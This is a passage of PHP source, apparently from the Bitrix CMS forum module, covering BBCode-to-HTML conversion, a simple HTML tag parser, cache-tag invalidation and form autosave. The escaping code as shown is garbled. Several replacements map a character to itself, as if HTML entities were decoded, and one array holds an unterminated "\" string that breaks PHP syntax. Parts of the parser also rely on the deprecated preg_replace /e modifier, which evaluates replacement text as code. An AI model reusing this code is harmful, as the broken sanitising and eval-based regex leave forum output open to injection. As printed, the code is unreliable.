$text = str_replace(" ", " ", $text);
$text = str_replace("|", '|', $text);
$text = str_replace("&", "&", $text);
return $text;
}
function convert_video($params, $path)
{
if (strLen($path) <= 0)
return "";
$width = ""; $height = ""; $preview = "";
preg_match("/width\=([0-9]+)/is".BX_UTF_PCRE_MODIFIER, $params, $width);
preg_match("/height\=([0-9]+)/is".BX_UTF_PCRE_MODIFIER, $params, $height);
preg_match("/preview\=\013([^\013]+)\013/is".BX_UTF_PCRE_MODIFIER, $params, $preview);
if (empty($preview))
preg_match("/preview\=\014([^\014]+)\014/is".BX_UTF_PCRE_MODIFIER, $params, $preview);
$width = intval($width[1]);
$width = ($width > 0 ? $width : 400);
$height = intval($height[1]);
$height = ($height > 0 ? $height : 300);
$preview = trim($preview[1]);
$preview = (strLen($preview) > 0 ? $preview : "");
ob_start();
$GLOBALS["APPLICATION"]->IncludeComponent(
"bitrix:player", "",
Array(
"PLAYER_TYPE" => "auto",
"USE_PLAYLIST" => "N",
"PATH" => $path,
"WIDTH" => $width,
"HEIGHT" => $height,
"PREVIEW" => $preview,
"LOGO" => "",
"FULLSCREEN" => "Y",
"SKIN_PATH" => "/bitrix/components/bitrix/player/mediaplayer/skins",
"SKIN" => "bitrix.swf",
"CONTROLBAR" => "bottom",
"WMODE" => "transparent",
"HIDE_MENU" => "N",
"SHOW_CONTROLS" => "Y",
"SHOW_STOP" => "N",
"SHOW_DIGITS" => "Y",
"CONTROLS_BGCOLOR" => "FFFFFF",
"CONTROLS_COLOR" => "000000",
"CONTROLS_OVER_COLOR" => "000000",
"SCREEN_COLOR" => "000000",
"AUTOSTART" => "N",
"REPEAT" => "N",
"VOLUME" => "90",
"DISPLAY_CLICK" => "play",
"MUTE" => "N",
"HIGH_QUALITY" => "Y",
"ADVANCED_MODE_SETTINGS" => "N",
"BUFFER_LENGTH" => "10",
"DOWNLOAD_LINK" => "",
"DOWNLOAD_LINK_TARGET" => "_self"));
$video = ob_get_contents();
ob_end_clean();
return "<nomodify>".str_replace(array(chr(34), chr(39)), array("\013", "\014"), $video)."</nomodify>";
}
function convert_emoticon($code = "", $image = "", $description = "", $servername = "")
{
if (strlen($code)<=0 || strlen($image)<=0) return;
$code = stripslashes($code);
$description = stripslashes($description);
$image = stripslashes($image);
return '<img src="'.$servername.$image.'" border="0" alt="smile'.$code.'" title="'.$description.'" />';
}
function pre_convert_code_tag ($text = "")
{
if (strLen($text)<=0) return;
$text = str_replace(
array("&", "://", "<", ">", "[", "]", "\001", "\002"),
array("&", "://", "<", ">", "[", "]", "[code]", "[/code]"), $text);
return $text;
}
function pre_convert_list ($text = "")
{
return preg_replace(
array("/\<li((\s[^>]*)|(\s*))\>/is".BX_UTF_PCRE_MODIFIER, "/\<\/(\s*)li(\s*)\>/is".BX_UTF_PCRE_MODIFIER),
array("[*]", ""),
$text);
}
function convert_code_tag($text = "", $type = "html")
{
if (strLen($text)<=0) return;
$type = ($type == "rss" ? "rss" : "html");
$text = str_replace(
array("<", ">", "\\r", "\\n", "\\", "[", "]", "\001", "\002", " ", "\t"),
array("<", ">", "\r", "\n", "\", "[", "]", "[code]", "[/code]", " ", " "), $text);
$text = stripslashes($text);
// $text = str_replace(array(" ", "\t", ), array(" ", " "), $text);
if ($this->code_open == $this->code_closed && $this->code_error == 0):
$text = "<nosmile>".str_replace(array(chr(34), chr(39)), array("\013", "\014"), $this->convert_open_tag('code', $type).$text.$this->convert_close_tag('code', $type))."</nosmile>";
endif;
return $text;
}
function convert_quote_tag($text = "", $type = "html")
{
if (strlen($text)<=0) return;
$txt = $text;
$type = ($type == "rss" ? "rss" : "html");
$txt = preg_replace(
array(
"/\[quote([^\]\<\>])*\]/ie".BX_UTF_PCRE_MODIFIER,
"/\[\/quote([^\]\<\>])*\]/ie".BX_UTF_PCRE_MODIFIER),
array(
"\$this->convert_open_tag('quote', \$type)",
"\$this->convert_close_tag('quote', \$type)"), $txt);
if (($this->quote_open==$this->quote_closed) && ($this->quote_error==0))
return str_replace(array(chr(34), chr(39)), array("\013", "\014"), $txt);
return $text;
}
function convert_open_tag($marker = "quote", $type = "html")
{
$marker = (strToLower($marker) == "code" ? "code" : "quote");
$type = ($type == "rss" ? "rss" : "html");
$this->{$marker."_open"}++;
if ($type == "rss")
return "\n====".$marker."====\n";
return '<table class="forum-'.$marker.'"><thead><tr><th>'.($marker == "quote" ? GetMessage("FRM_QUOTE") : GetMessage("FRM_CODE")).'</th></tr></thead><tbody><tr><td>';
}
function convert_close_tag($marker = "quote", $type = "html")
{
$marker = (strToLower($marker) == "code" ? "code" : "quote");
$type = ($type == "rss" ? "rss" : "html");
if ($this->{$marker."_open"} == 0)
{
$this->{$marker."_error"}++;
return;
}
$this->{$marker."_closed"}++;
if ($type == "rss")
return "\n=============\n";
return '</td></tr></tbody></table>';
}
function convert_image_tag($url = "", $type = "html")
{
static $bShowedScript = false;
if (strlen($url)<=0) return;
$url = trim($url);
$type = (strToLower($type) == "rss" ? "rss" : "html");
$extension = preg_replace("/^.*\.(\S+)$/".BX_UTF_PCRE_MODIFIER, "\\1", $url);
$extension = strtolower($extension);
$extension = preg_quote($extension, "/");
$bErrorIMG = False;
if (strpos($url, "/bitrix/components/bitrix/forum.interface/show_file.php?fid=") === false)
{
if (preg_match("/[?&;]/".BX_UTF_PCRE_MODIFIER, $url))
$bErrorIMG = True;
if (!$bErrorIMG && !preg_match("/$extension(\||\$)/".BX_UTF_PCRE_MODIFIER, $this->allow_img_ext))
$bErrorIMG = True;
if (!$bErrorIMG && !preg_match("/^(http|https|ftp|\/)/i".BX_UTF_PCRE_MODIFIER, $url))
$bErrorIMG = True;
}
if ($bErrorIMG)
return "[img]".$url."[/img]";
if ($type != "html")
return '<img src="'.$url.'" alt="'.GetMessage("FRM_IMAGE_ALT").'" border="0" />';
$result = $GLOBALS["APPLICATION"]->IncludeComponent(
"bitrix:forum.interface",
$this->image_params["template"],
Array(
"URL" => $url,
"WIDTH"=> $this->image_params["width"],
"HEIGHT"=> $this->image_params["height"],
"CONVERT" => "N",
"FAMILY" => "FORUM",
"SINGLE" => "Y",
"RETURN" => "Y"
),
null,
array("HIDE_ICONS" => "Y"));
return str_replace(array(chr(34), chr(39)), array("\013", "\014"), $result);
}
function convert_font_attr($attr, $value = "", $text = "")
{
if (strlen($text)<=0) return "";
if (strlen($value)<=0) return $text;
if ($attr == "size")
{
$count = count($this->arFontSize);
if ($count <= 0)
return $text;
$value = intVal($value >= $count ? ($count - 1) : $value);
return '<span style="font-size:'.$this->arFontSize[$value].'%;">'.$text.'</span>';
}
else if ($attr == 'color')
{
$value = preg_replace("/[^\w#]/", "" , $value);
return '<font color="'.$value.'">'.$text.'</font>';
}
else if ($attr == 'font')
{
$value = preg_replace("/[^\w]/", "" , $value);
return '<font face="'.$value.'">'.$text.'</font>';
}
}
// Only for public using
function wrap_long_words($text="")
{
if ($this->MaxStringLen > 0 && !empty($text))
{
$text = str_replace(array(chr(34), chr(39)), array("\013", "\014"), $text);
$text = preg_replace("/(?<=^|\>)([^\<]+)(?=\<|$)/ies".BX_UTF_PCRE_MODIFIER, "\$this->part_long_words('\\1')", $text);
$text = str_replace(array("\013", "\014"), array(chr(34), chr(39)), $text);
}
return $text;
}
function part_long_words($str)
{
$word_separator = $this->word_separator;
if (($this->MaxStringLen > 0) && (strLen(trim($str)) > 0))
{
$str = str_replace(
array(
chr(1), chr(2), chr(3), chr(4), chr(5), chr(6),
"&", "<", ">", """, " ", "©", "®", "™",
chr(34), chr(39)),
array(
"", "", "", "", "", "",
chr(1), "<", ">", chr(2), chr(3), chr(4), chr(5), chr(6),
"\013", "\014"),
$str);
$str = preg_replace("/(?<=[".$word_separator."]|^)(([^".$word_separator."]+))(?=[".$word_separator."]|$)/ise".BX_UTF_PCRE_MODIFIER,
"\$this->cut_long_words('\\2')", $str);
$str = str_replace(
array(chr(1), "<", ">", chr(2), chr(3), chr(4), chr(5), chr(6), "\013", "\014", "<WBR/>", "<WBR>", "&shy;"),
array("&", "<", ">", """, " ", "©", "®", "™", chr(34), chr(39), "<WBR/>", "<WBR/>", "­"),
$str);
}
return $str;
}
function cut_long_words($str)
{
if (($this->MaxStringLen > 0) && (strLen($str) > 0))
$str = preg_replace("/([^ \n\r\t\x01]{".$this->MaxStringLen."})/is".BX_UTF_PCRE_MODIFIER, "\\1<WBR/>­", $str);
return $str;
}
function convert_cut_tag($text, $title="")
{
if (empty($text))
return "";
$title = trim($title);
$title = ltrim($title, "=");
$title = trim($title);
$result = $GLOBALS["APPLICATION"]->IncludeComponent(
"bitrix:forum.interface",
"spoiler",
Array(
"TITLE" => $title,
"TEXT" => $text,
"RETURN" => "Y"
),
null,
array("HIDE_ICONS" => "Y"));
return str_replace(array(chr(34), chr(39)), array("\013", "\014"), $result);
}
function convert_anchor_tag($url, $text, $pref="")
{
$bCutUrl = True;
$text = str_replace("\\\"", "\"", $text);
$end = "";
if (preg_match("/([\.,\?]|!)$/".BX_UTF_PCRE_MODIFIER, $url, $match))
{
$end = $match[1];
$url = preg_replace("/([\.,\?]|!)$/".BX_UTF_PCRE_MODIFIER, "", $url);
$text = preg_replace("/([\.,\?]|!)$/".BX_UTF_PCRE_MODIFIER, "", $text);
}
if (preg_match("/\[\/(quote|code)/i", $url))
return $url;
$url = preg_replace(
array(
"/&/".BX_UTF_PCRE_MODIFIER,
"/javascript:/i".BX_UTF_PCRE_MODIFIER),
array(
"&",
"java script: ") ,
$url);
if (substr($url, 0, 1) != "/" && !preg_match("/^(http|news|https|ftp|aim|mailto)\:/i".BX_UTF_PCRE_MODIFIER, $url))
$url = 'http://'.$url;
if (!preg_match("/^((http|https|news|ftp|aim):\/\/[-_:.a-z0-9@]+)*([^\"\013])+$/i".BX_UTF_PCRE_MODIFIER, $url))
return $pref.$text." (".$url.") ".$end;
if (preg_match("/^<img\s+src/i".BX_UTF_PCRE_MODIFIER, $text))
$bCutUrl = False;
$text = preg_replace(
array("/&/i".BX_UTF_PCRE_MODIFIER, "/javascript:/i".BX_UTF_PCRE_MODIFIER),
array("&", "javascript: "), $text);
if ($bCutUrl && strlen($text) < 55)
$bCutUrl = False;
if ($bCutUrl && !preg_match("/^(http|ftp|https|news):\/\//i".BX_UTF_PCRE_MODIFIER, $text))
$bCutUrl = False;
if ($bCutUrl)
{
$stripped = preg_replace("/^(http|ftp|https|news):\/\/(\S+)$/i".BX_UTF_PCRE_MODIFIER, "\\2", $text);
$uri_type = preg_replace("/^(http|ftp|https|news):\/\/(\S+)$/i".BX_UTF_PCRE_MODIFIER, "\\1", $text);
$text = $uri_type.'://'.substr($stripped, 0, 30).'...'.substr($stripped, -10);
}
$result = $pref.'<a href="'.$url.'" target="_blank"'.
(COption::GetOptionString("forum", "parser_nofollow", "Y") == "Y" ? ' rel="nofollow"' : '').'>'.$text.'</a>'.$end;
return str_replace(array(chr(34), chr(39)), array("\013", "\014"), $result);
}
function convert_to_rss($text, $arImages = Array(), $arAllow = array("HTML" => "N", "ANCHOR" => "Y", "BIU" => "Y", "IMG" => "Y", "QUOTE" => "Y", "CODE" => "Y", "FONT" => "Y", "LIST" => "Y", "SMILES" => "Y", "NL2BR" => "N"), $arParams = array())
{
global $DB;
if (empty($arAllow))
$arAllow = array(
"HTML" => "N",
"ANCHOR" => "Y",
"BIU" => "Y",
"IMG" => "Y",
"QUOTE" => "Y",
"CODE" => "Y",
"FONT" => "Y",
"LIST" => "Y",
"SMILES" => "Y",
"NL2BR" => "N");
$this->quote_error = 0;
$this->quote_open = 0;
$this->quote_closed = 0;
$this->code_error = 0;
$this->code_open = 0;
$this->code_closed = 0;
$bAllowSmiles = $arAllow["SMILES"];
if ($arAllow["HTML"]!="Y")
{
$text = preg_replace(
array(
"#^(.+?)<cut[\s]*(/>|>).*?$#is".BX_UTF_PCRE_MODIFIER,
"#^(.+?)\[cut[\s]*(/\]|\]).*?$#is".BX_UTF_PCRE_MODIFIER),
"\\1", $text);
$arAllow["SMILES"] = "N";
$text = $this->convert($text, $arAllow, "rss");
}
else
{
if ($arAllow["NL2BR"]=="Y")
$text = str_replace("\n", "<br />", $text);
}
if (strLen($arParams["SERVER_NAME"]) <= 0)
{
$dbSite = CSite::GetByID(SITE_ID);
$arSite = $dbSite->Fetch();
$arParams["SERVER_NAME"] = $arSite["SERVER_NAME"];
if (strLen($arParams["SERVER_NAME"]) <=0)
{
if (defined("SITE_SERVER_NAME") && strlen(SITE_SERVER_NAME)>0)
$arParams["SERVER_NAME"] = SITE_SERVER_NAME;
else
$arParams["SERVER_NAME"] = COption::GetOptionString("main", "server_name", "www.bitrixsoft.com");
}
}
if ($bAllowSmiles=="Y" && !empty($this->preg_smiles["pattern"]))
$text = preg_replace($this->preg_smiles["pattern"], $this->preg_smiles["replace"], ' '.$text.' ');
return trim($text);
}
}
class CForumSimpleHTMLParser
{
var $data;
var $parse_search_needle = '/([^\[]*)(?:\[(.*)\])*/i';
var $parse_tag = '/((\<\s*(\/)?\s*([a-z]+).*?(?:(\/)\>|\>))[^<]*)/ism';
var $parse_beginning_spaces = '/^([\s]*)/m';
var $replace_tag_begin = '/^\s*\w+\s*/';
var $parse_params = '/([a-z]+)\s*=\s*(?:([^\s]*)|(?:[\'"]([^\'"])[\'"]))/im';
var $lastError = '';
private $preg = array(
"counter" => 0,
"pattern" => array(),
"replace" => array()
);
function __construct ($data)
{
$this->data = $this->prepare($data);
}
/**
* @param string $text
* @return string
*/
private function prepare($text)
{
$text = preg_replace_callback(
"/<pre>(.+?)<\\/pre>/is".BX_UTF_PCRE_MODIFIER,
array($this, "defendTags"),
(is_string($text) ? $text : strval($text))
);
$text = str_replace(array("\r\n", "\n", "\t"), "", $text);
$text = str_replace($this->preg["pattern"], $this->preg["replace"], $text);
$this->preg["pattern"] = array();
$this->preg["replace"] = array();
return $text;
}
/**
* @param array $matches
* @return string
*/
public function defendTags($matches)
{
$text = "<\017#".(++$this->preg["counter"]).">";
$this->preg["pattern"][] = $text;
$this->preg["replace"][] = $matches[0];
return $text;
}
function findTagStart($needle) // needle = input[name=input;class=red]
{
$offset = 0;
$search = array();
if (preg_match( $this->parse_search_needle, $needle, $matches ) == 0)
return '';
if (sizeof($matches) > 1)
$search['TAG'] = trim($matches[1]);
if (sizeof($matches) > 2)
{
$arAttr = explode(';', $matches[2]);
foreach($arAttr as $attr)
{
list($attr_name, $attr_value) = explode('=', $attr);
$search[strToUpper(trim($attr_name))] = trim($attr_value);
}
}
$tmp = $this->data;
// skip beginning spaces
if (preg_match($this->parse_beginning_spaces, $tmp, $spaces) > 0)
{
$offset = strlen($spaces[1]);
$tmp = substr($tmp, $offset);
}
while (strlen($tmp) > 0 && preg_match($this->parse_tag, $tmp, $matches) > 0)
{
$tag_name = $matches[4];
$tag = $matches[2];
$skip = $matches[1];
if (strlen($skip) < 1) return false;
if ($tag_name == $search['TAG']) // tag found
{
// parse params
$params = preg_replace($this->replace_tag_begin, '', trim($tag, "<>"));
if (preg_match_all($this->parse_params, $params, $arParams, PREG_SET_ORDER ) > 0)
{
// store tag params
$arTagParams = array();
foreach($arParams as $arParam)
$arTagParams[strToUpper(trim($arParam[1]))] = trim(trim($arParam[2]), '"\'');
// compare all search params
$found = true;
foreach($search as $key => $value)
{
if ($key == 'TAG') continue;
if (!( isset($arTagParams[$key]) && $arTagParams[$key] == $value))
{
$found = false;
break;
}
}
if ($found)
{
return $offset;
}
}
}
$offset += strlen($skip);
$tmp = substr($tmp, strlen($skip));
// skip special tags
while ($skip = $this->skipTags($tmp))
{
$offset += $skip;
$tmp = substr($tmp, $skip);
}
}
return false;
}
function skipTags($tmp)
{
static $tags_open = array('<!--', '<script');
static $tags_close = array('-->', '</script>');
static $n_tags = 2;
static $tags_quoted;
if (!is_array($tags_quoted))
for ($i=0; $i<$n_tags;$i++)
$tags_quoted[$i] = array('open' => preg_quote($tags_open[$i]), 'close' => preg_quote($tags_close[$i]));
for ($i=0; $i<$n_tags;$i++)
{
if (preg_match('#^\s*'.$tags_quoted[$i]['open'].'#i', $tmp) < 1) continue;
if (preg_match('#('.$tags_quoted[$i]['close'].'[^<]*)#im', $tmp, $matches) > 0)
{
$endpos = strpos($tmp, $matches[1]);
$offset = $endpos+strlen($matches[1]);
return $offset;
}
}
return false;
}
function setError($msg)
{
$this->lastError = $msg;
return false;
}
function findTagEnd($startIndex)
{
if ($startIndex === false || (intval($startIndex) == 0 && $startIndex !== 0))
return $this->setError('E_PARSE_INVALID_INDEX');
$tmp = substr($this->data, $startIndex);
$this->lastError = '';
$arStack = array();
$offset = 0;
$closeMistmatch = 2;
$tag_id = 0;
// skip beginning spaces
if (preg_match($this->parse_beginning_spaces, $tmp, $spaces) > 0)
{
$offset = strlen($spaces[1]);
$tmp = substr($tmp, $offset);
}
while (strlen($tmp) > 0 && preg_match($this->parse_tag, $tmp, $matches) > 0)
{
$tag_id++;
$tag_name = strtoupper(trim($matches[4]));
$tag = $matches[2];
$skip = $matches[1];
if (strlen($skip) < 1) return $this->setError('E_PARSE_INVALID_DOM_1');
if ($matches[3] == '/') // close tag
{
if (end($arStack) == $tag_name)
array_pop($arStack);
else // lost close tag somewhere
{
$fixed = false;
for ($i=2;$i<=$closeMistmatch+1;$i++)
{
if (sizeof($arStack) > $i && $arStack[sizeof($arStack)-$i] == $tag_name)
{
$arStack = array_slice($arStack, 0, -$i);
$fixed = true;
}
}
if (!$fixed)
{
return $this->setError('E_PARSE_INVALID_DOM_2');
}
}
}
elseif (isset($matches[5]) && $matches[5] == '/') // self close tag
{
// do nothing
}
elseif ($tag_name == 'LI' && end($arStack) == 'LI') // oh
{
// do nothing
}
else // open tag
{
$arStack[] = $tag_name;
}
if (sizeof($arStack) > 300)
return $this->setError('E_PARSE_TOO_BIG_DOM_3'); // too big DOM
elseif (sizeof($arStack) == 0) // done !
return $offset + strlen($tag);
else // continue
{
$offset += strlen($skip);
$tmp = substr($tmp, strlen($skip));
}
// skip special tags
while ($skip = $this->skipTags($tmp))
{
$offset += $skip;
$tmp = substr($tmp, $skip);
}
}
return $this->setError('E_PARSE_INVALID_DOM_4'); // not enough data in $data ?
}
function getTagHTML($search)
{
$messagePost = '';
$messageStart = $this->findTagStart($search);
if ($messageStart === false) return '';
$messageEnd = $this->findTagEnd($messageStart);
if ($messageEnd !== false)
$messagePost = substr($this->data, $messageStart, $messageEnd);
return trim($messagePost);
}
function getInnerHTML($startLabel, $endLabel, $multiple=false)
{
$startPos = strpos($this->data, $startLabel);
if ($startPos === false) return '';
$startPos += strlen($startLabel);
$endPos = strpos($this->data, $endLabel, $startPos);
if ($endPos === false) return '';
return trim(substr($this->data, $startPos, $endPos-$startPos));
}
}
class CForumCacheManager
{
public function CForumCacheManager()
{
if(defined("BX_COMP_MANAGED_CACHE"))
{
AddEventHandler("forum", "onAfterMessageDelete", array(&$this, "OnMessageDelete"));
AddEventHandler("forum", "onAfterMessageUpdate", array(&$this, "OnMessageUpdate"));
AddEventHandler("forum", "onAfterMessageAdd", array(&$this, "OnMessageAdd"));
AddEventHandler("forum", "onAfterTopicAdd", array(&$this, "OnTopicAdd"));
AddEventHandler("forum", "onAfterTopicUpdate", array(&$this, "OnTopicUpdate"));
AddEventHandler("forum", "onAfterTopicDelete", array(&$this, "OnTopicDelete"));
//AddEventHandler("forum", "onAfterForumAdd", array(&$this, "OnForumAdd"));
AddEventHandler("forum", "onAfterForumUpdate", array(&$this, "OnForumUpdate"));
//AddEventHandler("forum", "OnAfterForumDelete", array(&$this, "OnForumDelete"));
AddEventHandler("main", "OnAddRatingVote", Array(&$this, "OnRate"));
AddEventHandler("main", "OnCancelRatingVote", Array(&$this, "OnRate"));
}
}
public static function Compress($arDictCollection)
{
if (
is_array($arDictCollection) &&
(sizeof($arDictCollection) > 9)
)
{
reset($arDictCollection);
$arFirst = current($arDictCollection);
$arKeys = array_keys($arFirst);
$i = 0;
foreach($arDictCollection as &$arDictionary)
{
if ($i++ === 0)
continue;
foreach($arKeys as $k)
{
if (isset($arDictionary[$k]) && ($arDictionary[$k] === $arFirst[$k]))
unset($arDictionary[$k]);
}
}
}
return $arDictCollection;
}
public static function Expand($arDictCollection)
{
if (
is_array($arDictCollection) &&
(sizeof($arDictCollection) > 9) &&
is_array($arDictCollection[0])
)
{
$arFirst =& $arDictCollection[0];
$arKeys = array_keys($arFirst);
$i = 0;
foreach($arDictCollection as &$arDictionary)
{
if ($i++ === 0)
continue;
foreach($arKeys as $k)
{
if (!isset($arDictionary[$k]))
{
$arDictionary[$k] = $arFirst[$k];
}
}
}
}
return $arDictCollection;
}
public static function SetTag($path, $tags)
{
global $CACHE_MANAGER;
if (! defined("BX_COMP_MANAGED_CACHE"))
return false;
$CACHE_MANAGER->StartTagCache($path);
if (is_array($tags))
{
foreach ($tags as $tag)
$CACHE_MANAGER->RegisterTag($tag);
}
else
{
$CACHE_MANAGER->RegisterTag($tags);
}
$CACHE_MANAGER->EndTagCache();
return true;
}
public static function ClearTag($type, $ID=0)
{
global $CACHE_MANAGER;
static $forum = "forum_";
static $topic = "forum_topic_";
if ($type === "F")
$CACHE_MANAGER->ClearByTag($forum.$ID);
elseif ($type === "T")
$CACHE_MANAGER->ClearByTag($topic.$ID);
else
$CACHE_MANAGER->ClearByTag($type);
}
public function OnRate($rateID, $arData)
{
if (!isset($arData['ENTITY_TYPE_ID']) ||
!isset($arData['ENTITY_ID']) ||
($arData['ENTITY_TYPE_ID'] !== 'FORUM_POST' && $arData['ENTITY_TYPE_ID'] !== 'FORUM_TOPIC'))
return false;
if ($arData['ENTITY_TYPE_ID'] === 'FORUM_POST')
{
$arMessage = CForumMessage::GetByID($arData['ENTITY_ID']);
if ($arMessage)
$this->ClearTag("T", $arMessage['TOPIC_ID']);
}
else if ($arData['ENTITY_TYPE_ID'] === 'FORUM_TOPIC')
{
$arTopic = CForumTopic::GetByID($arData['ENTITY_ID']);
if ($arTopic)
$this->ClearTag("F", $arTopic['FORUM_ID']);
$this->ClearTag("T", $arData['ENTITY_ID']);
}
return true;
}
public function OnMessageAdd($ID, $arFields)
{
self::ClearTag("T", isset($arFields["FORUM_TOPIC_ID"]) ? $arFields["FORUM_TOPIC_ID"] : $arFields["TOPIC_ID"]);
self::ClearTag("forum_msg_count".$arFields["FORUM_ID"]);
}
public function OnMessageUpdate($ID, $arFields, $arMessage = array())
{
$arMessage = (is_array($arMessage) ? $arMessage : array());
$topic_id = (isset($arFields["FORUM_TOPIC_ID"]) ? $arFields["FORUM_TOPIC_ID"] : $arFields["TOPIC_ID"]);
if (isset($arFields["APPROVED"]) && $topic_id <= 0)
$topic_id = $arMessage["TOPIC_ID"];
if ($topic_id > 0)
$this->ClearTag("T", $topic_id);
$forum_id = (isset($arFields["FORUM_ID"]) ? $arFields["FORUM_ID"] : 0);
if (isset($arFields["APPROVED"]) && $forum_id <= 0)
$forum_id = $arMessage["FORUM_ID"];
if ($forum_id > 0)
$this->ClearTag("forum_msg_count".$forum_id);
}
public function OnMessageDelete($ID, $arMessage)
{
self::ClearTag("T", isset($arMessage["FORUM_TOPIC_ID"]) ? $arMessage["FORUM_TOPIC_ID"] : $arMessage["TOPIC_ID"]);
self::ClearTag("forum_msg_count".$arMessage["FORUM_ID"]);
}
public function OnTopicAdd($ID, $arFields)
{
self::ClearTag("F", $arFields["FORUM_ID"]);
}
public function OnTopicUpdate($ID, $arFields)
{
self::ClearTag("T", $ID);
self::ClearTag("F", $arFields["FORUM_ID"]);
}
public function OnTopicDelete(&$ID, $arTopic)
{
self::ClearTag("T", $ID);
self::ClearTag("F", $arTopic["FORUM_ID"]);
}
//public function OnForumAdd(&$ID, &$arFields)
//{
//}
public function OnForumUpdate($ID, $arFields)
{
self::ClearTag("F", $arFields["FORUM_ID"]);
}
//public function OnForumDelete($ID)
//{
//}
}
class CForumAutosave
{
private static $instance;
private $as;
public function __construct()
{
echo CJSCore::Init(array('autosave'), true);
$this->as = new CAutoSave();
}
public static function GetInstance()
{
if (!$GLOBALS['USER']->IsAuthorized())
return false;
if (COption::GetOptionString("forum", "USE_AUTOSAVE", "Y") === "N")
return false;
if (!isset(self::$instance))
{
$c = __CLASS__;
self::$instance = new $c;
}
return self::$instance;
}
public function LoadScript($arParams)
{
if (!is_array($arParams))
$arParams = array("formID" => $arParams);
if (!isset($arParams['recoverMessage']))
$arParams['recoverMessage'] = GetMessage('F_MESSAGE_RECOVER');
$jsParams = CUtil::PhpToJSObject($arParams);
$id = $this->as->GetID();
ob_start();
?>
<script>
window.autosave_<?=$id?>_func = function() { ForumFormAutosave(<?=$jsParams?>); window.autosave_<?=$id?>.Prepare(); };
if (!!window["ForumFormAutosave"])
window.autosave_<?=$id?>_func();
else
{
BX.addCustomEvent(window, 'onScriptForumAutosaveLoaded', window.autosave_<?=$id?>_func);
BX.loadScript("<?=CUtil::GetAdditionalFileURL("/bitrix/js/forum/autosave.js")?>");
}
</script>
<?
ob_end_flush();
}
public function Init()
{
return $this->as->Init(false);
}
public function Reset()
{
return $this->as->Reset();
}
}
?>